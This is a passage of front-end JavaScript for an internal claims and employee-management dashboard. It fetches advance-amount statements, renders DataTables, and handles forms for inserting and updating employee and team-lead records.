        let obj=new Placeholder();
        let modalPopupBodyUI=obj.advanceAmountReleasedStatementPlaceHolder();
        $("#commonModalPopup .modal-dialog").html(modalPopupBodyUI);
            
        let retryBtn=$("#commonModalPopup .modal-footer .retry_getAdvanceAmtStatement");
        if(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS){
            let onErrorUI=()=>{
                    $("#commonModalPopup .placeholder-glow").removeClass('placeholder-glow');
                    retryBtn.attr("data-response-json-index",jsonIndex);
                    retryBtn.show();
                };
            let jsonArray=CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS[jsonIndex];
            let obj={
                    empId: jsonArray['EMP_ID'],
                    fromDate:jsonArray['FROM_DATE'],
                    toDate: jsonArray['TO_DATE']
                }
            let postJsonObj= JSON.stringify(obj);
            console.log(postJsonObj);
            if(!checkWheatherLogoutOrNot_InternetConnection()){
                alertNoInternet_connection();
                onErrorUI();
            }else{
                let responseData=postDataHttpRequest('DashBoard/php/AdvanceAmountStatement.php',postJsonObj);
                    responseData.then((result)=>{
                        if(result.message="SUCCESS"){
                            appendAdvanceAmntDetailsToTableUI(result.responseDataArray);
                            $("#commonModalPopup td.empName").html(": "+jsonArray['NAME']);
                            $("#commonModalPopup td.empId").html(": "+jsonArray['EMP_ID']);
                            $("#commonModalPopup td.fortNight").html(": "+jsonArray['FORTNIGHT']);
                            retryBtn.hide();
                        }else{
                            onErrorUI();
                        }
                        
                    }).
                    catch((error)=>{
                        onErrorUI();
                        console.log(error);
                    })
                    .finally(()=>{
                        
                    });
                    
                }
        }
    }
       function appendAdvanceAmntDetailsToTableUI(responseJson){
        console.log(responseJson);
        if ($.fn.DataTable.isDataTable( '#commonModalPopup table.AdvanceAmountDetailsTable' ) ) {
            $('#commonModalPopup table.AdvanceAmountDetailsTable').DataTable().clear().destroy();
        }
        let tableBody=``;
        $.each(responseJson, function(index, object){
            tableBody+=`<tr>
                            <td style="width:3%">${index+1}</td>
                            <td style="width:5%">${object['EMP_ID']}</td>
                            <td style="width:15%">${object['FORTNIGHT']}</td>
                            <td style="width:10%">${object['TRANSACTION_ID']}</td>
                            <td style="width:7%">${object['ADVANCE']}</td>
                            <td style="width:12%">${object['ADVANCE_RELEASE_DATE']}</td>
                            <td style="width:10%">${object['CREATED_BY']}</td>
                            <td style="width:12%">${object['CREATED_DATE']}</td>
                            <td style="width:12%">${object['UPDATED_DATE']}</td>
                            <td style="width:4%"><textarea rows="1" class="form-control" readonly>${object['REMARKS']}</textarea></td>
                            <td>--</td>
                            </tr>`;
        });
         console.log(responseJson);
        // $("#commonModalPopup .modal-body .AdvanceAmountDetailsTable tbody").html(tableBody);
        $("#commonModalPopup .AdvanceAmountDetailsTable tbody").html(tableBody);
         $("#commonModalPopup table.AdvanceAmountDetailsTable").DataTable({
                                                                                    destroy:true,
                                                                                    targets:'no-sorts',
                                                                                    order:[],
                                                                                    pageLength:10
                                                                                    
                                                                                    
            });
    }
    
//-------------------------------------------end-----------------------------------------------------  
      
    
    function appendRegularAndRevisitCountDetails(regularAndRevisitCount){
        // console.log(regularAndRevisitCount);
    }
    
    function appendProjectWiseAuditsDetails(projectWiseAudits){
        //console.log(projectWiseAudits);
        let obj= new ProjectDetailsUI();
        let tableUI=obj.getTableUI(projectWiseAudits);
        $("#circleWiseSiteProjectDetails_mainDiv").html(tableUI);
        $("#circleWiseSiteProjectDetails_mainDiv table").DataTable({
                                                    dom: 'lBfrtip',
                                                    destroy : true,
                                                    buttons: [
                                                                'copy',{
                                                                            extend:'excelHtml5',
                                                                            title:'Sitevisits Projects'
                                                                        }, 'print'        // 'copy', 'csv', 'excel', 'pdf', 'print'
                                                             ],
                                                    aLengthMenu: [[25, 30, -1], [25, 30, "All"]],
                                                    pageLength: 25,
        });
    }
    
    
    function calculateForAllCircleJson_updateJson(responseData){
        getTotalCirclesCombinedData(responseData.fortNightClaimsStatusCount,ALL_CIRCLES,true);
        getTotalCirclesCombinedData(responseData.dayClaimsCount,ALL_CIRCLES,true);
        getTotalCirclesCombinedData(responseData.siteVisitsCount,ALL_CIRCLES,true);
        getTotalCirclesCombinedData(responseData.fortNightClaimsAmount,ALL_CIRCLES,true);
        getTotalCirclesCombinedData(responseData.circleWiseProjectsCount,TOTAL_RESULTS,false);
        sortAndInsertAllCircleDataInOneArray(responseData.allfortNightClaims);
    }
    
    function getTotalCirclesCombinedData(arrayObj,keyValue,addNone){
        //get totalValues
        let ArrayOfAllCount={};
        let ArrayOfEmpty={};
        $.each(arrayObj,function(key, value ) {
            $.each(value, function(subKey, subValue){
                if(!ArrayOfAllCount.hasOwnProperty(subKey)){
                 ArrayOfAllCount[subKey]=0;                 // initially ArrayOfAllCount[key] not assigned
                }
                ArrayOfAllCount[subKey]+=subValue;
                ArrayOfEmpty[subKey]=0;
            });
        });
        arrayObj[keyValue]=ArrayOfAllCount;
        
        addNone ? arrayObj["None"]=ArrayOfEmpty: "";
    }
    
    function sortAndInsertAllCircleDataInOneArray(arrayObj){
        // sort json as per requirement empName,and fortNght
        let sortClassObj=new sortJson();
        sortClassObj.sortFNClaimsOnEmpIdFortnightBases(arrayObj);
        
        
        let ArrayOfAllCircleEmp=[];
        $.each(arrayObj, function(key, value){
            ArrayOfAllCircleEmp=ArrayOfAllCircleEmp.concat(value);
        });
        arrayObj[ALL_CIRCLES]=ArrayOfAllCircleEmp;
    }
    
//--------------------------------------EmployeeInfoTabContent All Employees Details---------------------
    function appendAllEmployeeInfoTabContent(employeesInfoJson){
        EMPLOYEE_INFO_JSON=employeesInfoJson;
        let tableBodyUI="";
        $.each(employeesInfoJson, function(index, item){
             let daysCount=noOfDaysCompletedAfterInsertion(index);
             console.log("daysCount",daysCount,"LIMITED_DAYS_TO_MODIFY",LIMITED_DAYS_TO_MODIFY);
            tableBodyUI+=`<tr>
                              <td>${index+1}</td>
                              <td>${item.EMP_ID}</td>
                              <td>${item.EMP_NAME}</td>
                              <td>${item.TL_NAME}</td>
                              <td>${item.TL_EMP_ID}</td>
                              <td>${item.CIRCLE}</td>
                              <td>${item.LEFT_FROM_ORGANIZATION}</td>`;
                              
            if(item.LEFT_FROM_ORGANIZATION==EX_EMPLOYEE){// constant.js
                tableBodyUI+=`<td><span class="pl-3">--</span></td></tr>`;
            }else if(daysCount > LIMITED_DAYS_TO_MODIFY){ // constants.js
                tableBodyUI+=`<td><button class="editEmpInfoBtn btn bg-transparent py-0" data-json-loopindex="${index}" data-toggle="modal" data-target="#empInfoDetailsModalPopup" data-whatever="@mdo"><i class="fas fa-edit"></i></button></td></tr>`; 
            }else{
                tableBodyUI+=`<td><button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${index}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup"><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button></td></tr>`;
            }
            
            // //Tl managing circle DropDownArray
            // if(($.inArray(item.CIRCLE, TL_MANAGING_CIRCLE_ARRAY) < 0)){// checking for duplicate circleNames
        	   //     TL_MANAGING_CIRCLE_ARRAY.push(item.CIRCLE);
            // }
        });

        $("#table_employeeInfoTabContent tbody").html(tableBodyUI);
        EMPLOYEEINFO_DATA_TABLE=$("#table_employeeInfoTabContent").DataTable({
                                                        destroy : true,
                                                        targets: 'no-sort',
                                                        order: [],
                                                        aLengthMenu: [[10,20,30,50,-1], [10,20,30,50,"All"]],
                                                        pageLength: 10
                                                            
        });
        
        
        //---------On edit functionality----------------                                         
        $("#table_employeeInfoTabContent tbody").on('click','tr .editEmpInfoBtn',function(){
            $("#empInfoDetailsModalPopup .modal-footer .message").html('');
            CURRENT_EDITING_EMPINFO_ARRAYINDEX=$(this).attr("data-json-loopindex");
            let jsonArray=employeesInfoJson[CURRENT_EDITING_EMPINFO_ARRAYINDEX];
            let empCircleOptionTagUi=getTLBelongingCircles(jsonArray.TL_NAME+"_"+jsonArray.TL_EMP_ID);
            $("#empInfoModalPopupEmpCircle").html(empCircleOptionTagUi);
            
            $("#empInfoModalPopupEmpId").val(jsonArray.EMP_ID);
            $("#empInfoModalPopupEmpName").val(jsonArray.EMP_NAME);
            $("#empInfoModalPopupTLNameTLId").val(jsonArray.TL_NAME+"_"+jsonArray.TL_EMP_ID);
            $("#empInfoModalPopupEmpCircle").val(jsonArray.CIRCLE);
            $("#empInfoModalPopupEmpLeftOrg").val(jsonArray.LEFT_FROM_ORGANIZATION);
        });
        
        //-----end-------------
        //---------On modify functionality----------------                   
        $("#table_employeeInfoTabContent tbody").on('click','tr .modifyEmpInfoBtn',function(){
            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html('');
            $("#newEmpInfoDetailsModalPopupForm button[type='submit']")
                    .attr("data-btnType",MODIFY_TYPE_FORM_SUBMIT)
                    .html("Update")
                    .show();
            $("#newEmpInfoDetailsModalPopupForm .newEmpsNotificationNo").hide();
            let currentUndoBtn=$(this);
            CURRENT_MODIFYING_EMPINFO_ARRAYINDEX=$(this).attr("data-json-loopindex");
            // console.log(EMPLOYEE_INFO_JSON);
            // console.log(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX);
            let jsonArray=EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX];
            let empId=jsonArray.EMP_ID;
            let empName=jsonArray.EMP_NAME;
            let TLId=jsonArray.TL_EMP_ID;
            let TLName=jsonArray.TL_NAME; 
            let empCircle=jsonArray.CIRCLE;
            let empOptionTagUi=`<option value="" disabled  selected style="display:none;">Select Employee</option>
                                <option value="${empName}_${empId}">${empName}(${empId})</option>`;
            let empCircleTagUi=getTLBelongingCircles(`${TLName}_${TLId}`);
            $("#newEmpInfoModalPopupEmpSelectTag").html(empOptionTagUi);
            $("#newEmpInfoModalPopupEmpSelectTag").val(`${empName}_${empId}`);
            $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleTagUi);
            $("#newEmpInfoModalPopupEmpCircleSelectTag").val(empCircle);
            
            if(TL_DYNAMIC_OPTION_TAG_UI){
                $("#newEmpInfoModalPopupTLSelectTag").html(TL_DYNAMIC_OPTION_TAG_UI);
            }else{
                console.log("TL_DYNAMIC_OPTION_TAG_UI as not data");
            }
            $("#newEmpInfoModalPopupTLSelectTag").val(TLName+"_"+TLId);
                    
        });
        
        
        
        
        // // tl managing circle drop append ui
        // let arrayOfCircleList=TL_MANAGING_CIRCLE_ARRAY;// global var
        // let empCircleOptionTag='<option value="" disabled selected style="display:none;">Select Employee Circle</option>';
        // $.each(arrayOfCircleList, function(index, value){
        //     empCircleOptionTag+=`<option value="${value}">${value}</option>`;
        // });
        // $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleOptionTag);
        // $("#empInfoModalPopupEmpCircle").html(empCircleOptionTag);
        
    }

    function noOfDaysCompletedAfterInsertion(loopIndex){
        let lastUpdatedDate=EMPLOYEE_INFO_JSON[loopIndex]["CREATED_DATE"];
        let DateFormate=convertToShortDateFormate(new Date(lastUpdatedDate));
            lastUpdatedDate=new Date(DateFormate);
        let todayDate=new Date(convertToShortDateFormate(new Date()));
        let noOfDays=getNoOfDaysBetweenTwoDates(lastUpdatedDate, todayDate);
        
        return noOfDays;
    }
    
    
    // function createNewEmployeeIdNameDropDownUI(json){
    //     let empOptionTagUi='<option value="" disabled selected style="display:none;">Select Employee</option>';
    //     $.each(json,function(key, value){
    //         empOptionTagUi+=`<option value="${value.NAME}_${key}">${value.NAME}(${key})</option>`;
    //     });

    //     $("#newEmpInfoModalPopupEmpSelectTag").html(empOptionTagUi);
        
    //     setNewEmployeeCountNotification(Object.keys(json).length);
    // }
    
    function createTLDropDown(){
         let TLOptionTagUi='<option value="" disabled  style="display:none;">Select TL</option>';
            TLOptionTagUi+=`<option value="${USER_NAME}_${USER_EMPID}" selected>${USER_NAME}(${USER_EMPID})</option>`;
         $("#newEmpInfoModalPopupTLSelectTag").html(TLOptionTagUi);
         let empCircleOptionTagUi=getTLBelongingCircles(USER_NAME+"_"+USER_EMPID);
            $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleOptionTagUi);
    }
    
    function createTLListDropDown(){
        if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
            alertNoInternet_connection();
            $(".retryTLDropDownRequest").show();
        }else{
            let responseData=getMethodHttpRequest(LOGIN_API_BASE_URL+"getAllTeamLead");
                responseData.then((result)=>{
                    let TLInfoArray=result.tlList;
                    TL_DYNAMIC_OPTION_TAG_UI='<option value="" disabled selected style="display:none;">Select TL</option>';
                    $.each(TLInfoArray, function(index, item){
                        TL_DYNAMIC_OPTION_TAG_UI+=`<option value="${item.tlname}_${item.tlid}">${item.tlname}(${item.tlid})</option>`;
                    });
                    // $("#newEmpInfoModalPopupTLSelectTag").html(TL_DYNAMIC_OPTION_TAG_UI);
                    $("#empInfoModalPopupTLNameTLId").html(TL_DYNAMIC_OPTION_TAG_UI);
                    $(".retryTLDropDownRequest").hide();
                    
                })
                .catch((error)=>{
                    // formSubmitBtn.html("<i class='fas fa-redo'></i>");
                    console.log(error);
                     $(".retryTLDropDownRequest").show();
                })
                .finally(()=>{
                console.log("response ended");
                });
        }
    }
    
    //  function setNewEmployeeCountNotification(newEmpcount){
    //          if(newEmpcount>0){
    //               $(".newEmpsNotificationNo").html(newEmpcount); 
    //          }else{
    //              $(".notificationDiv").hide();
    //          }
    //  }
//-------------------------------------------end------------------------     
    
//-----------------------------------------EmployeeInfoTabContent newEmployee count-------------------------
    function appendNewEmployeeInfoTabContent(newEmployeeInfoJson){
        NEW_EMPLOYEE_INFO_JSON=newEmployeeInfoJson;
        
        let newEmpcount=Object.keys(newEmployeeInfoJson).length;
          if(newEmpcount>0){
                  $(".newEmpsNotificationNo").html(newEmpcount); 
             }else{
                 $(".notificationDiv").hide();
             }
    }
//-------------------------------end-----------------------------    
    
    
    //-----------------------------------------------------empIfoTabcontent----------------------------------------------
    // updtaeEmployee operation
    //  $("#empInfoDetailsModalPopupForm").submit(function(e){
    //         e.preventDefault();
    //         let form=$(this);
    //         let serialisedArray=form.serializeArray();
    //         serialisedArray.push({ name: 'queryType', value: 'update' });
    //         let postContent=JSON.stringify(convertValuesToObject(serialisedArray));
    //         let responseData=postDataHttpRequest('DashBoard/php/tab_EmpInfo_InsertUpdate_TL.php',postContent);
    //             responseData.then((result)=>{
    //                 console.log("empInfoDetailsModalPopupForm",result);
    //                 if(result.message=="UPDATED"){
    //                     $("#empInfoDetailsModalPopup .modal-footer .message").html("Succesfully Updated");
    //                     $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-success");
    //                 } 
    //             })
    //             .catch((error)=>{
                    
    //                 $("#empInfoDetailsModalPopup .modal-footer .message").html("Error");
    //                  $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-danger");
    //                 // formSubmitBtn.html("<i class='fas fa-redo'></i>");
    //                 console.log(error);
    //             })
    //             .finally(()=>{
    //             console.log("response ended");
    //             });
            
    //     });
    
    
         $("#empInfoDetailsModalPopupForm").submit(function(e){
            e.preventDefault();
            let form=$(this);
            $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-spinner fa-spin"></i>');
            $("#empInfoDetailsModalPopup .modal-footer .message").html("");
            let empId       =$("#empInfoModalPopupEmpId").val();
            let empName     =$("#empInfoModalPopupEmpName").val();
            let TLName_Id   =$("#empInfoModalPopupTLNameTLId").val();
                arrayOfNameAndId=splitString(TLName_Id,"_");
            let TLName      =arrayOfNameAndId[0];
            let TLId        =arrayOfNameAndId[1];
            let empCircle   =$("#empInfoModalPopupEmpCircle").val();
            let leftOrg     =$("#empInfoModalPopupEmpLeftOrg").val();
            let queryType   ='update';
            
            let contentObj={
                empName:empName,
                empId:empId,
                TLName:TLName,
                TLId:TLId,
                empCircle:empCircle,
                leftOrg:leftOrg,
                queryType:queryType
            }
            
            
            let postContent=JSON.stringify(contentObj);
            if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
                alertNoInternet_connection();
                $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
            }else{
                let responseData=postDataHttpRequest('DashBoard/php/tab_EmpInfo_InsertUpdate_TL.php',postContent);
                    responseData.then((result)=>{
                        console.log("empInfoDetailsModalPopupForm",result);
                        if(result.message=="UPDATED"){
                            $("#empInfoDetailsModalPopupForm button[type='submit']").html('Update');
                            $("#empInfoDetailsModalPopup .modal-footer .message").html("Succesfully Updated");
                            $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-success");
                            $("#empInfoDetailsModalPopup .modal-footer .message").removeClass('text-danger');
                            onUpdate_updateJsonAndUIInEmployeeInfo(contentObj);
                        } 
                    })
                    .catch((error)=>{
                        
                        $("#empInfoDetailsModalPopup .modal-footer .message").html("Error");
                        $("#empInfoDetailsModalPopup .modal-footer .message").addClass("text-danger");
                        $("#empInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
                        console.log(error);
                    })
                    .finally(()=>{
                    console.log("response ended");
                    });
            }
            
        });
        
        function onUpdate_updateJsonAndUIInEmployeeInfo(contentObj){
            // $("rowDataEmpId").html(contentObj.empId);
            // $("rowDataEmpName").html(contentObj.empName);
            
            //update DataTable
            console.log("EMPLOYEEINFO_DATA_TABLE",EMPLOYEEINFO_DATA_TABLE.row(CURRENT_EDITING_EMPINFO_ARRAYINDEX).data());
            EMPLOYEEINFO_DATA_TABLE.row(CURRENT_EDITING_EMPINFO_ARRAYINDEX).data([
                parseInt(CURRENT_EDITING_EMPINFO_ARRAYINDEX)+1,
                contentObj.empId,
                contentObj.empName,
                contentObj.TLName,
                contentObj.TLId,
                contentObj.empCircle,
                contentObj.leftOrg,
                `<button class="editEmpInfoBtn btn bg-transparent py-0" data-json-loopindex="${CURRENT_EDITING_EMPINFO_ARRAYINDEX}" data-toggle="modal" data-target="#empInfoDetailsModalPopup" data-whatever="@mdo"><i class="fas fa-edit"></i></button>`
            ]).draw();
            

            
            //updating json
            if(EMPLOYEE_INFO_JSON){
            let currentEmployeDetailsInJson=EMPLOYEE_INFO_JSON[CURRENT_EDITING_EMPINFO_ARRAYINDEX];
            
            currentEmployeDetailsInJson.TL_NAME=contentObj.TLName;
            currentEmployeDetailsInJson.TL_EMP_ID=contentObj.TLId;
            currentEmployeDetailsInJson.CIRCLE=contentObj.empCircle;
            currentEmployeDetailsInJson.LEFT_FROM_ORGANIZATION=contentObj.leftOrg;
            }else{
                console.log("EMPLOYEE_INFO_JSON have no data");
            }
        }
        
        
        
    // newEmployee insertion operation
     $("#newEmpInfoDetailsModalPopupForm").submit(function(e){
            e.preventDefault();
            let form=$(this);
            let formSubmiteType=$("#newEmpInfoDetailsModalPopupForm button[type='submit']").attr("data-btntype");
            $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-spinner fa-spin"></i>');
            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("");
            let arrayOfNameAndId;
            let queryType="insert";
            let empName_empId=$("#newEmpInfoModalPopupEmpSelectTag").val();
                arrayOfNameAndId=splitString(empName_empId,"_");
            let empName=arrayOfNameAndId[0];
            let empId=arrayOfNameAndId[1];
            
            let TLName_Id=$("#newEmpInfoModalPopupTLSelectTag").val();
                arrayOfNameAndId=splitString(TLName_Id,"_");
            let TLName=arrayOfNameAndId[0];
            let TLId=arrayOfNameAndId[1];
            
            let empCircle=$("#newEmpInfoModalPopupEmpCircleSelectTag").val();
            
            let contentObj={
                empName:empName,
                empId:empId,
                TLName:TLName,
                TLId:TLId,
                empCircle:empCircle,
                leftOrg:"No",
                queryType:queryType
            }
            if(!checkWheatherLogoutOrNot_InternetConnection()){
                 alertNoInternet_connection();
                 $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
            }else{
            let postContent=JSON.stringify(contentObj);
            let responseData=postDataHttpRequest('DashBoard/php/tab_EmpInfo_InsertUpdate_TL.php',postContent);
                responseData.then((result)=>{
                    
                    if(result.message=="INSERTED"){
                        $("#newEmpInfoDetailsModalPopup .modal-footer .message").addClass("text-success");
                        $("#newEmpInfoDetailsModalPopup .modal-footer .message").removeClass('text-danger');// if first time  got error 2time success no red-color
                        if(formSubmiteType==INSERT_TYPE_FORM_SUBMIT){
                            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Succesfully Inserted");
                            onInsert_updateJsonAndUIInEmployeeInfo(contentObj);
                            EMPLOYEEINFO_DATA_TABLE.order( [ 0, 'desc' ] ).draw();// sort desc modify get first
                             $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('Insert');
                        }else if(formSubmiteType==MODIFY_TYPE_FORM_SUBMIT){
                            onModify_updateJsonAndUIInEmployeeInfo(contentObj);
                            $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Succesfully Modified");
                            $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('Update');
                        }
                    }
                })
                .catch((error)=>{
                    
                    $("#newEmpInfoDetailsModalPopup .modal-footer .message").html("Error");
                     $("#newEmpInfoDetailsModalPopup .modal-footer .message").addClass("text-danger");
                     $("#newEmpInfoDetailsModalPopupForm button[type='submit']").html('<i class="fas fa-redo"></i>');
                    console.log(error);
                })
                .finally(()=>{
                console.log("response ended");
                });
            }
                
        });
        
        
        
        function onInsert_updateJsonAndUIInEmployeeInfo(contentObj){
            
            let empName_empId=contentObj.empName+"_"+contentObj.empId;
            //update json
            
                //---- employee info json
                let newEmployeeDetailsObj={
                    EMP_ID:contentObj.empId,
                    EMP_NAME:contentObj.empName,
                    TL_NAME:contentObj.TLName,
                    TL_EMP_ID:contentObj.TLId,
                    CIRCLE:contentObj.empCircle,
                    LEFT_FROM_ORGANIZATION:contentObj.leftOrg
                    
                }
                EMPLOYEE_INFO_JSON.push(newEmployeeDetailsObj);
            
                //----new employee info json, update drpdwn on delete
                delete NEW_EMPLOYEE_INFO_JSON[contentObj.empId];
            
            
            
            // update dataTable
            let index=EMPLOYEE_INFO_JSON.length;  // global var
            EMPLOYEEINFO_DATA_TABLE.row.add( [
                index,
                contentObj.empId,
                contentObj.empName,
                contentObj.TLName,
                contentObj.TLId,
                contentObj.empCircle,
                contentObj.leftOrg,
                `<button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${index-1}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup" ><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button>`
            ] ).draw();
        
            //reset form
             $("#newEmpInfoDetailsModalPopupForm")[0].reset();
            
            
            // updateing newEmployee dropdown list
            let newEmpListSelectTag =$("#newEmpInfoModalPopupEmpSelectTag");
            newEmpListSelectTag.find('option[value="'+empName_empId+'"]').remove();
            let countNewEmployeeList=newEmpListSelectTag.children().length;
            if(countNewEmployeeList<2){
                $(".notificationDiv").hide();
                $("#newEmpInfoDetailsModalPopupForm button[type='submit']").hide();
            }
            
            //update newClaimCount
            let currentNewEmpCnt=parseInt($(".newEmpsNotificationNo").html());
            $(".newEmpsNotificationNo").html(currentNewEmpCnt-1);
                

                
            }
            
            function onModify_updateJsonAndUIInEmployeeInfo(contentObj){
                //update json
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].EMP_ID=contentObj.empId;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].EMP_NAME=contentObj.empName;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].TL_EMP_ID=contentObj.TLId;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].TL_NAME=contentObj.TLName;
                 EMPLOYEE_INFO_JSON[CURRENT_MODIFYING_EMPINFO_ARRAYINDEX].CIRCLE=contentObj.empCircle;
                 
                 //update table
                 
                   EMPLOYEEINFO_DATA_TABLE.row(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX).data([
                    parseInt(CURRENT_MODIFYING_EMPINFO_ARRAYINDEX)+1,    //S.NO
                    contentObj.empId,
                    contentObj.empName,
                    contentObj.TLName,
                    contentObj.TLId,
                    contentObj.empCircle,
                    contentObj.leftOrg,
                    `<button class="modifyEmpInfoBtn btn btn-danger py-0" data-json-loopindex="${CURRENT_MODIFYING_EMPINFO_ARRAYINDEX}" data-toggle="modal" data-target="#newEmpInfoDetailsModalPopup"><span data-toggle="tooltip" title="Modify option will remains only ${LIMITED_DAYS_TO_MODIFY} days after inserting new employee">Modify</span></button>`
                ]).draw();
                
                // //reset form
                // $("#newEmpInfoDetailsModalPopupForm")[0].reset();
                
                //hide submit button 
                //  $("#newEmpInfoDetailsModalPopupForm button[type='submit']").hide();
                
            }
        

    //-----------------------------end---------------------------
    
    //-----------------------------end---------------------------
    
    
    
    
    
    //---------------------startup functionality-------------------------------------
    
    (function(){
        let fromDateYear=FTA_APP_LAUNCHED_YEAR;//constant in main js file
        let currentYear=new Date().getFullYear();
        let optionsYearUi='';
        for(let index=fromDateYear;index<=currentYear;index++){
            optionsYearUi+='<option value="'+index+'">'+index+'</option>';
        }
        $("#fromRequestCircleData .year").html(optionsYearUi);
        $("#fromRequestCircleData .year").val(currentYear);
        $("#formRequest_employeeAdvanceInfo .year").html(optionsYearUi);
        $("#getfnAdditionalAdjustments_form .year").html(optionsYearUi);
        
        triggerOnloadSearch();
        
        $("#fromRequestCircleData .mainCircleDropDown").change(function(){
            let mainDropDownValue=$(this).val();
            $(".subCircleDropDown").each(function(){
                let optionExits=($(this).children("option[value='"+mainDropDownValue+"']").length > 0);
                    if(!optionExits){
                        $(this).val("None").trigger('change');
                    }else{
                        $(this).val(mainDropDownValue).trigger('change');
                    }
            });
        });
        //-------------------------- tooltip---------------------------------------
    // $('[data-toggle="tooltip"]').tooltip({ //static
        //     html:true,
        //     placement:"right"
        // });
        
        $("body").tooltip({                     //dynamic
            selector: '[data-toggle="tooltip"]',
            html:true,
            placement:"right"
        });
        
         $('html').tooltip({ 
            selector: '[data-toggle="Abbrevation_tooltip"]',
            placement:"top"
		});
        //-------------------------- end tooltip---------------------------------------    
        
        
        
        
        
        $(document).on('mouseover','.card .progress .inner', function(){
            let className=$(this).attr("data-className");
            $(".tooltip .arrow").addClass(className);
            let color=$(this).css("color");
            $(".tooltip-inner").css(
                {
                    "background-color":color,
                    "color":"#fff"
                    }
                );
        });
        
        $(".circleWiseSiteVisits_noOfSiteProjects_main").on('click','#moreBtn',function(){
            $(".section.multiSectionDev .siteProjectDetails").toggleClass('active');
            $(this).toggleClass('active');
            if($(this).hasClass("active")){
                $(this).html('<span class="d-flex">less <i class="fas fa-angle-up ml-2 align-self-center"></i></span>');
            }else{
                 $(this).html('<span class="d-flex">more <i class="fas fa-angle-down ml-2 align-self-center"></i></span>');
            }
        });
        
        $(".fortNightClaimsCountDiv").on('click','.card a.siteVisitsAnchor', function(){
            let claimStatus=$(this).attr("data-claimstatus");
            let monthValue=$("#fromRequestCircleData select.month").val();
            let yearValue=$("#fromRequestCircleData select.year").val();
            let circleName=$(".section.fortNightClaimsCountDiv select.subCircleDropDown").val();
            
            if (typeof(Storage) !== "undefined") {
               localStorage.setItem("claimStatus",claimStatus);
               localStorage.setItem("monthValue",monthValue);
               localStorage.setItem("yearValue",yearValue);
               localStorage.setItem("circleName",circleName);
            } else {
                alert("browser not support localStorage");
            }
            
        });
       
        $(".sideNavtab").click(function(){
            $(".sideNavtab").css({"color":"#212529","font-weight":"unset"});
            $(this).css({"color":"rgb(86, 100, 210)","font-weight":"600"});
            $(".tabContent").hide();// hide all
            let className=$(this).attr("data-id");
            $(".tabContent."+className).show();// show clicked one tab content
            
            if(className=="invoiceReportTabContent"){
                $(".invoiceReportDiv .subTabs").removeClass('collapse');
                // $(".subTabs_popover").parents(".popover").addClass("invoiceAndReportsPopOver");
            }else{
                $(".invoiceReportDiv .subTabs").addClass('collapse');
            }
            
            if(className=="employeeInfoTabContent"){
                $(".sideNavSiteVisitPart .notificationDiv").hide();
            }
            
        });
          //dashBordTab trigger
        $("button#dashBoradTabBtn").trigger('click');

//           $("body").popover({   //dynamic
//             selector: '[data-toggle="userProfilePopover"]',
//             placement : 'left',
//             trigger : 'click',
//             html:true,
// 			sanitize: false,
//         });
        
        
        // -----------------empinfoTabcontent--------------------------
        createTLListDropDown();
        $(".retryTLDropDownRequest").click(function(){
            createTLListDropDown();
        });
        
        // let arrayOfCircleList=getCircleDropDownList();//from main constant.js file
        // let empCircleOptionTag='<option value="" disabled selected style="display:none;">Select Employee Circle</option>';
        // $.each(arrayOfCircleList, function(index, value){
        //         empCircleOptionTag+=`<option value="${value}">${value}</option>`;
        // });
        // $("#newEmpInfoModalPopupEmpCircleSelectTag").html(empCircleOptionTag);
        // $("#empInfoModalPopupEmpCircle").html(empCircleOptionTag);
        
        $("#newEmpInfoEditBtn").click(function(){
            if(NEW_EMPLOYEE_INFO_JSON){
                console.log("NEW_EMPLOYEE_INFO_JSON",NEW_EMPLOYEE_INFO_JSON);
                let empOptionTagUi='<option value="" disabled selected style="display:none;">Select Employee</option>';
                $.each(NEW_EMPLOYEE_INFO_JSON,function(key, value){
                    empOptionTagUi+=`<option value="${value.NAME}_${key}">${value.NAME}(${key})</option>`;
                });
                $("#newEmpInfoModalPopupEmpSelectTag").html(empOptionTagUi);
            }else{
                console.log("NEW_EMPLOYEE_INFO_JSON  as not data");
            }
            createTLDropDown(); //append tl dropdown
            //reset form
             $("#newEmpInfoDetailsModalPopupForm")[0].reset();
             //show remaining new emp cnt
             $(".newEmpsNotificationNo").show();
             
